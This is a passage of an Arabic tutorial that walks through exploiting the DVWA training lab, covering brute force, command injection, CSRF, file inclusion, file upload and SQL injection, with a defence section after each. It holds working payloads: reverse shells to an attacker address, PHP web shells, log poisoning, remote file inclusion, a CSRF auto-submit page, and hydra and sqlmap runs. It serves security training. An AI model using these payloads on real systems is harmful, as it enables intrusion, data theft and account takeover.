في كل حالة، الحل ليس "تنظيف الحروف الخطرة" بل منع البيانات من أن تصبح جزءًا من البنية: الاستعلام المُهيَّأ يفصل النص عن القيم، وescapeshellarg يجعل المدخل وسيطًا واحدًا لا أوامر، والقائمة البيضاء تجعل المدخل اختيارًا من مجموعة لا مسارًا. لاحظ أن القائمة البيضاء تُستخدم أيضًا في المستوى Impossible من DVWA في معظم الوحدات — إنها النمط الدفاعي الأكثر تكرارًا في المختبر.

CSRF: الثغرة التي لا تحتاج إلى اختراق الخادم

الفكرة: المتصفح يرسل كوكي الجلسة تلقائيًا مع أي طلب إلى النطاق، حتى لو كان الطلب صادرًا من موقع آخر. فإذا كان تغيير كلمة المرور يتم عبر GET أو POST دون رمز عشوائي، يكفي أن يزور الضحية صفحة يُديرها المهاجم ليُغيَّر كلمة مروره. الدفاع ثلاثي: رمز CSRF فريد لكل جلسة/نموذج، وكوكي SameSite، ورفض الطلبات العابرة للنطاق على الأفعال الحساسة.

ثلاث ثغرات حديثة لا تظهر في DVWA

لأن المختبر يركّز على الكلاسيكيات، اعرف شكل الثغرات التي ستقابلها في تطبيقات 2026: SSRF (خادمك يجلب عنوانًا يتحكم به المهاجم فيصل إلى خدمات داخلية مثل 169.254.169.254 في السحابة)، وDeserialization (بيانات مخزّنة تُفكّ إلى كائنات فتُنفّذ سلاسل gadgets)، وBusiness Logic (خصم يُطبَّق مرتين، أو كمية سالبة تُنتج رصيدًا — لا يمكن لأي ماسح اكتشافها). هذه الثغرات لا تُكتشف بالأدوات؛ تُكتشف بفهم التطبيق.

11 · الطبقة الخامسة

الطبقة 5 · قاعدة البيانات: ما يحدث بعد أن ينجح الحقن

الحقن في SQL ليس نهاية الطريق بل بدايته. بمجرد أن تتحكم في نص الاستعلام، تصبح أنت من يسأل قاعدة البيانات. الترتيب المعياري للاستكشاف هو: الإصدار ← المستخدم الحالي وصلاحياته ← قواعد البيانات ← الجداول ← الأعمدة ← البيانات، ثم ما بعد البيانات: قراءة ملفات، أو كتابة ملف إلى القرص.

sql خريطة الاستكشاف داخل MySQL
version(), user(), database()          -- من أنا وأين أقف
SELECT schema_name FROM information_schema.schemata;
SELECT table_name  FROM information_schema.tables  WHERE table_schema = database();
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
SELECT user, password FROM users;      -- الهدف النهائي
SELECT @@secure_file_priv;             -- هل أستطيع القراءة/الكتابة على القرص؟
SELECT LOAD_FILE('/etc/passwd');

ثلاثة أسئلة تحدد حجم الكارثة بعد الحقن. الأول: ما نوع حساب قاعدة البيانات؟ إن كان التطبيق يتصل بـroot فأنت تملك كل قواعد الخادم لا قاعدة تطبيق واحد. الثاني: هل توجد صلاحية FILE؟ حينها يمكن قراءة ملفات النظام — وأحيانًا كتابة ملف PHP في مجلد الويب، أي تحويل حقن SQL إلى تنفيذ كود كامل. الثالث: كيف تُخزَّن كلمات المرور؟ تجزئة بلا ملح (مثل MD5 في المستويات الدنيا من DVWA) تُكسر في ثوانٍ بالقواميس، بينما bcrypt/Argon2 تجعل الكسر مكلفًا.

bash كسر التجزئات بعد الاستخراج
$ hashid '5f4dcc3b5aa765d61d8327deb882cf99'        # ما نوع التجزئة؟
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt   # MD5
$ john --format=raw-md5 --wordlist=rockyou.txt hashes.txt
الدفاع في هذه الطبقة

حساب قاعدة بيانات بأقل صلاحية ممكنة (لا FILE، لا DROP، لا وصول لقواعد أخرى)، واستعلامات مُهيَّأة، وتجزئة حديثة مع ملح، وتشفير الحقول الحساسة. القاعدة الذهبية: لو اخترق أحد التطبيق، يجب ألّا يحصل تلقائيًا على قاعدة البيانات كلها.

12 · الطبقة السادسة

الطبقة 6 · نظام التشغيل: من ثغرة في صفحة إلى سيطرة على الخادم

عندما تنجح في حقن أمر (Command Injection) أو رفع ملف قابل للتنفيذ، تنتقل من "مستخدم تطبيق" إلى "عملية على الخادم" — وغالبًا باسم www-data. السؤال التالي ليس "ماذا أفعل؟" بل "من أنا وما الذي أملكه؟".

  1. تثبيت الموطئ (Foothold)

    التحقق من الهوية والنظام: id; uname -a; cat /etc/os-release. ثم اختبار القدرة على تنفيذ أمر خارجي (curl، wget، nc، python).

  2. الحصول على جلسة تفاعلية

    أمر واحد يفتح صدفة عكسية إلى مستمع على جهازك يعطي استقرارًا أكبر من حقن أمر في كل مرة. المبدأ: الخادم يتصل بك، لا أنت به (لتجاوز الجدار الناري).

  3. تعداد النظام (Enumeration)

    المستخدمون، الخدمات، المهام المجدولة، الملفات القابلة للكتابة، أسرار التطبيق في .env أو إعدادات الاتصال — وهي غالبًا كنز أكبر من صلاحيات الجذر.

  4. رفع الصلاحيات (Privilege Escalation)

    البحث عن sudo بلا كلمة مرور، ملفات SUID، إصدار نواة قديم، أو مهمة مجدولة تعمل بصلاحية أعلى.

  5. الحركة الجانبية والتثبيت

    من الخادم إلى قاعدة بيانات داخلية، أو خادم آخر على نفس الشبكة، ثم إنشاء طريق عودة دائم — وهو ما يُكشف عادةً في الطبقة 7 لا في L6.

bash أول خمس دقائق بعد الحصول على تنفيذ أوامر
$ id; whoami; hostname; uname -a
$ sudo -l 2>/dev/null                       # ماذا أستطيع تشغيله كجذر؟
$ find / -perm -4000 -type f 2>/dev/null     # ملفات SUID
$ ls -la /var/www/html; cat /var/www/html/config.php 2>/dev/null
$ ss -tulpn                                  # ما الخدمات الداخلية المتاحة؟
في بيئة الحاويات (Containers)

إذا كان DVWA يعمل في Docker فأنت داخل حاوية: /etc/passwd وwhoami يعملان، لكن الوصول إلى المضيف يحتاج تجاوزًا آخر (صلاحيات زائدة، docker.sock مكشوف، --privileged). الدروس تبقى نفسها، والفارق أن "الكارثة" محدودة النطاق أحيانًا — وهذا بالضبط سبب انتشار الحاويات كطبقة عزل.

13 · الطبقة السابعة

الطبقة 7 · الهوية والعمليات: من قال إنك أنت؟ ومن سيلاحظ؟

هذه الطبقة لا تحمي البيانات مباشرة؛ تحمي الادعاءات: "أنا فلان"، "أنا مخوّل"، "لم يحدث شيء". وأغلب الاختراقات الكبيرة لم تُكتشف لأن إحدى الطبقات السابقة سقطت، بل لأن هذه الطبقة لم تكن تراقب.

إدارة الجلسة

معرّف قابل للتوقّع أو متسلسل (كما في DVWA: Weak Session IDs) يعني انتحال جلسات الآخرين دون كلمة مرور. المعرّف يجب أن يكون عشوائيًا بإنتروبيا كافية، ويُجدَّد عند الدخول، ويُبطَل عند الخروج.

رموز JWT

الأخطاء المتكررة: قبول alg: none، سرّ HMAC ضعيف قابل للتخمين، عدم التحقق من التوقيع أصلاً، عدم فحص aud/iss/exp.

OAuth / SSO

redirect_uri غير مقيّد يسرق رمز التفويض، وغياب state يفتح CSRF على تدفق الدخول.

استعادة كلمة المرور

رمز ضعيف الإنتروبيا، بلا انتهاء صلاحية، أو رابط يُبنى من ترويسة Host — ثلاث طرق كلاسيكية لاختطاف الحساب بلا كلمة مرور.

الأسرار وسلسلة التوريد

مفاتيح في مستودع Git، اعتماديات قديمة، أو سكربتات بناء تُنفَّذ بصلاحيات عالية. الهجوم هنا لا يستهدف الكود بل عملية إنتاجه.

السجلات والرصد

هجوم SQLi يظهر في السجلات كطلب عادي إذا لم تُسجَّل المعاملات. غياب الرصد يحوّل اختراقًا اكتُشف في ساعة إلى اختراق اكتُشف في سنة.

ماذا يُسجَّل فعلاً؟

السجل المفيد ليس "GET /login 200" بل: من الطالب، من أي IP وجهاز، بأي رمز جلسة، وما القيم التي أرسلها (مع حجب الحقول الحساسة)، وما الذي تغيّر. على هذا الأساس تُبنى قواعد الكشف: محاولات دخول فاشلة متكررة، تغيّر مفاجئ في عنوان IP داخل نفس الجلسة، طلبات تحمل ' أو UNION أو ../، أو ارتفاع في أخطاء 403 — كلها إشارات لا ثغرات.

اختبار مقبول أم لا؟

عند اختبار هذه الطبقة بتفويض، اختبر وجود الضوابط لا تجاوزها الضار: هل يُرفض الرمز المنتهي؟ هل تُبطَل الجلسة عند الخروج؟ هل يُقيَّد redirect_uri؟ لا تُجرِ تجارب تُقفل حسابات حقيقية أو تُرسل رسائل فعلية لمستخدمين.

14 · المختبر

تجهيز DVWA في خمس دقائق

DVWA (Damn Vulnerable Web Application) تطبيق PHP/MySQL صُمّم عمدًا ليحتوي على ثغرات شائعة، ويعرض لك كود المصدر بجانب كل تحدي. أشهر طريقة لتشغيله اليوم هي Docker — معزول، سريع، وقابل للحذف بالكامل.

bash تشغيل المختبر
# الطريقة 1: صورة جاهزة
$ docker run --rm -it -p 8080:80 --name dvwa vulnerables/web-dvwa

# الطريقة 2: من المستودع الرسمي (أحدث إصدار)
$ git clone https://github.com/digininja/DVWA.git && cd DVWA
$ docker compose up -d

# التحقق
$ docker ps --filter name=dvwa
$ curl -sI http://localhost:8080 | head -3

خطوات التهيئة الأولى

  1. افتح http://localhost:8080

    ستظهر صفحة الدخول: المستخدم admin وكلمة المرور password.

  2. اضغط Create / Reset Database

    يُنشئ الجداول ويملأ بيانات المستخدمين. إن ظهر خطأ، عد إلى صفحة Setup وأعد الإنشاء.

  3. اضبط مستوى الأمان

    من DVWA Security اختر Low للبداية. سنصعد إلى Medium ثم High ثم Impossible مع كل ثغرة.

  4. أضف كوكي الأمان إلى أدواتك

    كل أداة خارجية (sqlmap، hydra، ffuf) تحتاج PHPSESSID وsecurity=low. انسخهما من DevTools ← Application ← Cookies.

المستوىماذا يمثّلقيمة التعلم
LOWكود بلا أي حمايةتفهم الثغرة في أنقى صورها
MEDIUMحماية ساذجة (استبدال نصي، فحص نوع من العميل)تتعلم لماذا "الترقيع" لا يكفي
HIGHحماية أقوى لكنها ليست مكتملةتُنمّي مهارة الالتفاف والتفكير الجانبي
IMPOSSIBLEالتطبيق الصحيح: قائمة بيضاء، رموز، استعلامات مُهيَّأةمرجعك الدفاعي عند كتابة كودك
زرّان ستحتاجهما دائمًا

View Source أسفل كل صفحة يعرض كود PHP للمستوى الحالي — اقرأه قبل أي حمولة. وView Help يشرح الهدف. عادة القراءة أولًا تختصر ساعات من التجربة العمياء.

قبل أن تبدأ: اعزل الشبكة

لا تُشغّل DVWA على واجهة عامة أو شبكة غير موثوقة، ولو لساعة. إن احتجت إلى RFI (تضمين ملف عن بعد) فأنت تحتاج خادمًا على جهازك: python3 -m http.server 8000 ثم الوصول إليه من الحاوية عبر host.docker.internal:8000 أو عنوان الـIP المحلي.

15 · فهرس المختبر

ست عشرة ثغرة، بنفس المنهج

كل ثغرة تُقدَّم بنفس القالب: الهدف ← الخطوات ← الأمر/الحمولة ← النتيجة المتوقعة ← سبب النجاح في الكود ← الدفاع. ابدأ من الأعلى خطرًا إن كان وقتك محدودًا: SQLi وCommand Injection وFile Upload تمنحك في العادة أكبر أثر.

#الثغرةالخطرالفئة (CWE)المخرَج النموذجي
16Brute ForceمتوسطCWE-307كلمة مرور admin
17Command InjectionحرجCWE-78تنفيذ أوامر → جلسة عكسية
18CSRFعالٍCWE-352تغيير كلمة مرور الضحية
19File InclusionحرجCWE-98قراءة ملفات / تنفيذ كود
20File UploadحرجCWE-434Web Shell
21SQL InjectionحرجCWE-89تفريغ جدول users
22Blind SQL InjectionحرجCWE-89استخراج حرفًا بحرف
23Weak Session IDsعالٍCWE-330انتحال جلسة
24JavaScript AttacksمتوسطCWE-602تجاوز تحقق في العميل
25XSS (DOM)عالٍCWE-79تنفيذ JS دون خادم
26XSS (Reflected)عالٍCWE-79سرقة كوكي
27XSS (Stored)حرجCWE-79إصابة كل زائر
28CSP BypassمتوسطCWE-693تنفيذ رغم السياسة
29Insecure CAPTCHAمتوسطCWE-804تخطي التحقق البشري
30Open RedirectمتوسطCWE-601تصيّد عبر نطاق موثوق
31API / Auth BypassعالٍCWE-639قراءة بيانات مستخدمين

16 · Brute Force — تخمين بيانات الدخول

MEDIUMCWE-307

الهدف: الوصول إلى لوحة تحكم بكلمة مرور لم تُعطَ لك، عبر تجربة قائمة كلمات مرور شائعة. في المستوى Low لا يوجد أي قيد على عدد المحاولات ولا تأخير.

  1. افتح الوحدة واختبر يدويًا

    المسار /dvwa/vulnerabilities/brute/. جرّب admin/password لتتأكد من عمل النموذج، ثم admin/wrong لترى رسالة الخطأ التي ستستخدمها كمرشّح.

  2. التقط الطلب في Burp

    الطلب GET ويحمل username وpassword وLogin=Login، مع كوكي الجلسة. أرسله إلى Intruder أو انسخه لأداة خارجية.

  3. شغّل hydra

    حدّد المستخدم الثابت والقائمة المتغيرة، وحدّد نص الفشل Username and/or password incorrect.

  4. تحقّق من النتيجة

    ادخل بالبيانات المكتشفة فعليًا — لا تكتفِ بظهورها في المخرَج.

bash هجوم القاموس على المستوى Low
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt "localhost" -s 8080 http-post-form \
    "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie: PHPSESSID=YOURID; security=low"

# بديل أسرع بلا تثبيت أدوات: ffuf
$ ffuf -u "http://localhost:8080/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login" \
    -w pass10k.txt -b "PHPSESSID=YOURID; security=low" -fr "incorrect" -t 20
— النتيجة المتوقعة —
[80][http-post-form] host: localhost:8080  login: admin  password: password

FUZZ: password  [Status: 200, Size: 4867, Words: 145]
المستوى Medium — تأخير بسيط لا يوقف الأتمتة

يضيف الكود sleep(2) عند الفشل ويستخدم mysqli_real_escape_string لمنع الحقن، لكنه لا يحدّ عدد المحاولات. الأمر نفسه يعمل لكن أبطأ؛ اخفض عدد الخيوط إلى 4–5 حتى لا تسقط الطلبات.

bash
$ hydra -l admin -P pass100.txt "localhost" -s 8080 -t 4 http-post-form \
    "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=YOURID; security=medium"
المستوى High — رمز CSRF عشوائي + تأخير عشوائي

الرمز user_token يتغير مع كل طلب، والتأخير عشوائي بين 0 و3 ثوانٍ (sleep(rand(0,3))). الحل ليس أداة جاهزة بل سكربت يجلب الرمز من الصفحة ثم يرسله مع كل محاولة (هذا هو نمط "Session Handling" في Burp: ماكرو يجلب التوكن قبل كل طلب).

python سكربت يجلب التوكن في كل محاولة
import re, requests
BASE = "http://localhost:8080/dvwa/vulnerabilities/brute/"
C = {"PHPSESSID": "YOURID", "security": "high"}
for pw in open("pass10k.txt").read().split():
    tok = re.search(r"name='user_token' value='([^']+)'", requests.get(BASE, cookies=C).text).group(1)
    r = requests.get(BASE, cookies=C, params={"username":"admin","password":pw,"Login":"Login","user_token":tok})
    if "incorrect" not in r.text: print("FOUND:", pw); break

لاحظ أن الحماية هنا جيدة لكنها ما زالت بلا حدّ للمحاولات — القاموس يحتاج وقتًا أطول فقط، لا أكثر.

لماذا نجحت؟ والدفاع

السبب: لا يوجد عدّاد محاولات ولا تأخير تصاعدي ولا CAPTCHA. رسالة الخطأ موحّدة لكنها كافية للتمييز بين النجاح والفشل.

الدفاع: حدّ محاولات لكل حساب ولكل IP، تأخير تصاعدي، CAPTCHA بعد ثلاث محاولات، قفل مؤقت (لا دائم)، كشف كلمات المرور المسرّبة، إلزام 2FA على الحسابات الإدارية، وتنبيه أمني عند نجاح دخول بعد فشل متكرر.

17 · Command Injection — من صندوق نص إلى صدفة

CRITICALCWE-78

الهدف: تنفيذ أوامر نظام داخل الخادم عبر حقل "ping". الكود يبني الأمر بـshell_exec("ping -c 4 " . $ip) دون تهريب، فأي فاصل (; | &) ينهي الأمر الأول ويبدأ أمرك.

  1. تأكيد السلوك الطبيعي

    أدخل 127.0.0.1 — سترى مخرَج ping. هذا يعني أن الخادم ينفّذ أمرًا فعليًا، لا يحاكيه.

  2. اختبار الفاصل

    أدخل 127.0.0.1; whoami. إن ظهر اسم مستخدم الخادم بعد مخرَج ping، فأنت تنفّذ أوامر.

  3. جمع معلومات سريع

    مستخدم، نظام، ملفات الموقع، وإمكانية الاتصال الخارجي.

  4. جلسة عكسية

    شغّل مستمعًا على جهازك، ثم اطلب من الخادم الاتصال بك. النتيجة صدفة تفاعلية بدل حقن أمر في كل مرة.

payload Low — حقن مباشر
127.0.0.1; whoami
127.0.0.1; id; uname -a
127.0.0.1; cat /etc/passwd
127.0.0.1; ls -la /var/www/html
bash جلسة عكسية: المستمع أولًا ثم الحمولة
# على جهازك (المستمع)
$ nc -lvnp 4444

# في حقل ping على DVWA
127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
127.0.0.1; nc -e /bin/sh 10.0.0.5 4444
— النتيجة المتوقعة —
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.031 ms
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 5b2f... 6.1.0-18-amd64 #1 SMP x86_64 GNU/Linux
المستوى Medium — الفلتر يحذف && و; فقط

الكود يستبدل && و; بسلسلة فارغة. لكن الفاصل | و& المفرد لم يُذكرا. الحل: استخدم فاصلًا لم يُفلتر.

payload
127.0.0.1 | whoami
127.0.0.1 & whoami
127.0.0.1 | cat /etc/passwd
المستوى High — حذف أوسع، لكن الفاصل بلا مسافة يمرّ

يُحذف & و; و| (لاحظ المسافة بعد الأنبوب) و- و$ و( و) و`. لأن النمط المحذوف هو "| " بمسافة، فإن كتابة الأنبوب ملتصقًا بالأمر التالي تمرّ.

payload
127.0.0.1|whoami
127.0.0.1|ls

الحماية هنا "قائمة حظر" — وكل قائمة حظر تُهزم بترميز أو بصياغة لم يتوقعها كاتبها. الحل الصحيح في المستوى Impossible: قائمة سماح بأربع خانات رقمية + escapeshellarg.

السبب والدفاع

السبب: المدخل يُلصق في سلسلة تُنفَّذ في الصدفة، فتحوّل النص من وسيط إلى تعليمات. والصدفة تفسّر ; كفاصل أوامر.

الدفاع: لا تستخدم أوامر نظام لتنفيذ ما يمكنك فعله بمكتبة (فحص IP بمكتبة الشبكة بدل ping). وإن اضطررت: تحقق من الشكل بقائمة سماح صريحة (كل خانة 0–255)، ومرّر القيم كمصفوفة بلا صدفة (proc_open أو escapeshellarg)، وشغّل التطبيق بمستخدم محدود الصلاحية داخل حاوية.

18 · CSRF — تغيير كلمة مرور دون أن تعرفها

HIGHCWE-352

الهدف: إجبار متصفح الضحية على إرسال طلب شرعي إلى DVWA. في المستوى Low لا يوجد رمز CSRF ولا تحقق من المصدر، والطلب يُقبل عبر GET — أي أن مجرد تحميل صورة يمكن أن يغيّر كلمة المرور.

  1. افهم الطلب

    افتح /dvwa/vulnerabilities/csrf/ وافحص النموذج: يرسل password_new وpassword_conf وChange عبر GET، بلا أي توكن.

  2. اكتب صفحة الهجوم

    ملف HTML صغير يُرسل تلقائيًا عند الفتح. سمّه csrf.html واستضفه على جهازك.

  3. أرسل الرابط للضحية

    في مختبرك: افتح الرابط في متصفح آخر مسجّل الدخول بمستخدم مختلف (مثلًا gordonb).

  4. تحقّق

    سترى رسالة Password Changed. ثم جرّب الدخول بالكلمة الجديدة.

html صفحة CSRF تعمل تلقائيًا
<html><body onload="document.forms[0].submit()">
  <form action="http://localhost:8080/dvwa/vulnerabilities/csrf/" method="GET">
    <input name="password_new"  value="Pwned123!">
    <input name="password_conf" value="Pwned123!">
    <input name="Change" value="Change">
  </form>
</body></html>
bash استضافة الصفحة والتأكد من الوصول
$ python3 -m http.server 8000 --directory ./loot
# في متصفح الضحية (جلسة DVWA مفتوحة):
http://10.0.0.5:8000/csrf.html
— النتيجة المتوقعة —
Password Changed.

> ثم: admin / Pwned123!   →  Welcome to the password protected area
المستوى Medium — فحص Referer قابل للالتفاف

يضيف الكود شرطًا: يجب أن يحتوي HTTP_REFERER على SERVER_NAME (أي كلمة localhost). الشرط يفحص "احتواء" لا "تطابقًا"، لذا يكفي أن يظهر الاسم داخل الرابط.

bash
# مجلد اسمه localhost على خادم المهاجم
$ mkdir -p loot/localhost && cp csrf.html loot/localhost/
# الرابط الذي يُرسل للضحية:
http://10.0.0.5:8000/localhost/csrf.html

الدرس: التحقق من المصدر يجب أن يكون بمقارنة أصل كامل (scheme://host:port) لا ببحث نصي عن جزء منه.

المستوى High — رمز + كلمة المرور الحالية

يطلب الكود user_token فريدًا مرتبطًا بالجلسة و كلمة المرور الحالية. غياب أي منهما يُبطل الطلب. هنا تصبح الثغرة غير قابلة للاستغلال عمليًا كـCSRF — وهذا هو الإصلاح الصحيح: إعادة التوثيق للأفعال الحساسة، إضافةً إلى التوكن.

السبب والدفاع

السبب: الخادم يعتمد على الكوكي وحده كإثبات للنية. المتصفح يرفق الكوكي تلقائيًا بأي طلب — حتى لو صدر من موقع آخر.

الدفاع: رمز عشوائي لكل نموذج مربوط بالجلسة، SameSite=Lax، رفض GET للأفعال المتغيرة، التحقق من Origin، وطلب كلمة المرور الحالية عند تغييرها.

19 · File Inclusion — قراءة ملفات الخادم وتنفيذ كود

CRITICALCWE-98

الهدف: التحكم في المسار الممرَّر إلى include(). إن كان الملف محليًا فهي LFI (قراءة)، وإن كان بعيدًا فهي RFI (تنفيذ كود) — وتحويل الحالة الأولى إلى الثانية ممكن دائمًا عبر سجلات الخادم.

  1. اختبر المسار النسبي

    الوحدة تقرأ ?page=file1.php. عدد مستويات الرجوع يعتمد على عمق المجلد؛ زد ../ حتى تصل إلى الجذر.

  2. اقرأ كود PHP بدل تنفيذه

    استخدام مُغلِّف php://filter مع base64 يمنع التنفيذ ويعيد الكود نصًا — ضروري لتحليل الإعدادات وكلمات المرور.

  3. جرّب التضمين البعيد

    يحتاج allow_url_include=On في إعداد PHP. الملف المستضاف لديك يجب أن يكون بصيغة نصية (txt) لكنه كود PHP.

  4. تلويث السجل (Log Poisoning)

    اكتب كود PHP في User-Agent فيُسجَّل في access.log، ثم ضمّن السجل نفسه ليتنفّذ الكود.

url Low — من قراءة ملف إلى تنفيذ كود
# 1) قراءة ملفات النظام
?page=../../../../etc/passwd
# 2) قراءة الكود المصدري بدل تنفيذه
?page=php://filter/convert.base64-encode/resource=index.php
# 3) تضمين بعيد (shell.txt يحتوي كود PHP)
?page=http://10.0.0.5:8000/shell.txt&c=id
# 4) تلويث السجل ثم تضمين السجل
?page=../../../../var/log/apache2/access.log&c=whoami
bash تجهيز الحمولة وتلويث السجل
$ echo '<?php system($_GET["c"]); ?>' > shell.txt

# تلويث User-Agent (يُسجَّل حرفيًا في access.log)
$ curl -s -A '<?php system($_GET["c"]); ?>' http://localhost:8080/dvwa/

# فك ترميز الكود المسحوب من php://filter
$ echo 'PD9waHAg...' | base64 -d
— النتيجة المتوقعة —
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

-- وبعد التضمين البعيد:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
المستوى Medium — حظر نصي بسيط

يُحذف http:// وhttps:// و../ و..\ باستخدام str_replace (مرة واحدة فقط). ثلاث طرق للالتفاف:

url
# 1) مسار مطلق: لا يحتوي ../ أصلاً
?page=/etc/passwd
# 2) مضاعفة الحمولة: بعد الحذف تعود ../
?page=....//....//....//....//etc/passwd
# 3) مزج البروتوكول ليعود بعد الحذف
?page=hthttp://tp://10.0.0.5:8000/shell.txt&c=id
المستوى High — قيد fnmatch("file*")

الشرط أن يبدأ المسار بكلمة file. لكن النمط لا يمنع المخططات (schemes). استخدام مُغلِّف file:// يبدأ بـfile ويفي بالشرط:

url
?page=file:///etc/passwd
?page=file1.php

المستوى Impossible يستخدم قائمة سماح صريحة بأسماء الملفات الأربعة فقط — لا مسارات ولا مخططات. هذا هو الحل.

السبب والدفاع

السبب: المسار يُبنى من مدخل المستخدم بلا قائمة سماح، فيمكن الخروج من مجلد التطبيق أو جلب ملف من الخارج.

الدفاع: قائمة سماح بأسماء ثابتة، أو basename() مع مقارنة ضد مصفوفة مسموحة، تعطيل allow_url_include وallow_url_fopen، تشغيل PHP في حاوية بصلاحيات قراءة محدودة (open_basedir)، ومنع تنفيذ الملفات في مجلدات الرفع.

20 · File Upload — رفع Web Shell

CRITICALCWE-434

الهدف: رفع ملف PHP إلى مجلد يخدمه Apache، ثم تنفيذه. عندما يُحفظ الملف داخل مجلد الويب بامتداد قابل للتنفيذ، فإن "رفع صورة" يصبح "تنفيذ كود" — أعلى درجات الخطورة.

  1. أنشئ Shell بسيطًا

    ملف PHP يستقبل الأمر من معامل cmd ويعيد مخرجه. لا تحتاج أدوات — سطران يكفيان.

  2. ارفعه

    من صفحة الوحدة اختر الملف واضغط Upload. جواب الصفحة يعرض المسار الكامل.

  3. نفّذه

    افتح المسار في المتصفح مع ?cmd=id. إن ظهرت نتيجة الأمر فأنت تملك تنفيذ كود على الخادم.

  4. ارقَ إلى جلسة

    استخدم نفس الـshell لفتح اتصال عكسي (كما في ثغرة Command Injection).

php shell.php
<?php
if(isset($_GET['cmd'])) { system($_GET['cmd']); }
?>
url تنفيذ الملف بعد الرفع
http://localhost:8080/dvwa/hackable/uploads/shell.php?cmd=id
http://localhost:8080/dvwa/hackable/uploads/shell.php?cmd=cat%20/etc/passwd
http://localhost:8080/dvwa/hackable/uploads/shell.php?cmd=uname%20-a
— النتيجة المتوقعة —
../../hackable/uploads/shell.php succesfully uploaded!

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 5b2f4c... 6.1.0-18-amd64 x86_64 GNU/Linux
المستوى Medium — فحص Content-Type يُلتف عليه

الكود يتحقق من $_FILES['uploaded']['type'] ويريد image/jpeg أو image/png وحجمًا أقل من 100KB — وهي قيمة يرسلها المتصفح، أي يتحكم بها المهاجم. اعترض الطلب في Burp وغيّر الترويسة فقط وأبقِ الامتداد .php.

http
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg          <-- غيّرها من application/x-php

<?php system($_GET['cmd']); ?>
المستوى High — فحص محتوى + امتداد: الحل هو الجمع مع LFI

هنا يُفحص المحتوى بـgetimagesize() (أي يجب أن يكون صورة حقيقية) ويُقبل امتداد jpg/jpeg/png فقط. لذا لن يُنفَّذ الملف مباشرة. الطريقة العملية: صورة حقيقية تحمل كود PHP في تعليقها (polyglot)، ثم تضمينها عبر ثغرة File Inclusion — فيُنفّذ الكود لأن PHP لا يهتم بالامتداد عند التضمين.

bash
$ exiftool -Comment='<?php system($_GET["cmd"]); ?>' logo.jpg -o shell.jpg
# ارفع shell.jpg ثم:
?page=../../hackable/uploads/shell.jpg&cmd=id

الدرس: حماية الرفع وحدها لا تكفي إذا كان هناك تضمين ملفات؛ الطبقات تُقيَّم معًا.

السبب والدفاع

السبب: الملف يُحفظ في مجلد يُنفّذه الخادم، والتحقق (إن وُجد) يعتمد على قيم يرسلها العميل.

الدفاع: تخزين الملفات خارج جذر الويب أو في تخزين كائنات، وإعادة تسميتها بمعرّف عشوائي + امتداد من قائمة سماح، والتحقق من المحتوى فعليًا (magic bytes + إعادة ترميز الصور)، وتعطيل تنفيذ PHP في مجلد الرفع (php_admin_flag engine off)، وفحص الملفات ببرمجية مكافحة فيروسات.

21 · SQL Injection — من خطأ صياغة إلى قاعدة بيانات مفتوحة

CRITICALCWE-89

الهدف: التحكم في نص الاستعلام للوصول إلى جداول لم يُقصد عرضها. الكود في Low: SELECT first_name, last_name FROM users WHERE user_id = '$id' — المدخل داخل علامات تنصيص، فأول ما نفعله هو كسرها.

  1. أكّد وجود الحقن

    أدخل 1 ثم 1'. ظهور خطأ SQL هو الدليل الأول (وليس المطلوب دائمًا).

  2. اكسر المنطق

    1' OR '1'='1 تُرجع كل الصفوف لأن الشرط صحيح دائمًا — هذا تجاوز منطقي كامل.

  3. حدّد عدد الأعمدة

    ORDER BY n حتى يظهر الخطأ: آخر قيمة ناجحة = عدد الأعمدة (هنا 2).

  4. استخدم UNION لطباعة بياناتك

    يجب أن يتوافق عدد الأعمدة وأنواعها. جرّب 1' UNION SELECT 1,2 #.

  5. اسحب البيانات

    اسم القاعدة، المستخدم، الجداول، الأعمدة، ثم كلمات المرور.

sql سلسلة الاستغلال الكاملة — Low
-- 1) كسر الصياغة
1'
-- 2) تجاوز منطقي: كل المستخدمين
1' OR '1'='1
-- 3) تحديد عدد الأعمدة
1' ORDER BY 1 #
1' ORDER BY 2 #
1' ORDER BY 3 #        -- خطأ = العدد 2
-- 4) عرض نقاط الطباعة
1' UNION SELECT 1,2 #
-- 5) بيانات النظام
1' UNION SELECT database(), user() #
1' UNION SELECT @@version, @@datadir #
-- 6) الجداول ثم الأعمدة
1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() #
1' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users' #
-- 7) الحصاد
1' UNION SELECT user, password FROM users #
— النتيجة المتوقعة —
ID: 1' UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
bash أتمتة السلسلة بـ sqlmap
$ sqlmap -u "http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=YOURID; security=low" --batch --dbs

$ sqlmap ... -D dvwa -T users --dump
$ sqlmap ... --tables -D dvwa
$ sqlmap ... --os-shell        # فقط إن توفرت صلاحيات كتابة
المستوى Medium — الاستعلام الرقمي بلا تنصيص

الكود يستخدم mysqli_real_escape_string ثم يبني: WHERE user_id = $id (بلا علامات تنصيص). التهريب يمنع كسر النص، لكن السياق الرقمي لا يحتاج تنصيصًا — لذا الحقن يعمل بلا أي '، وتُستبدل التعليقات بـ# فقط.

sql
1 OR 1=1
1 UNION SELECT user, password FROM users #
1 UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() #

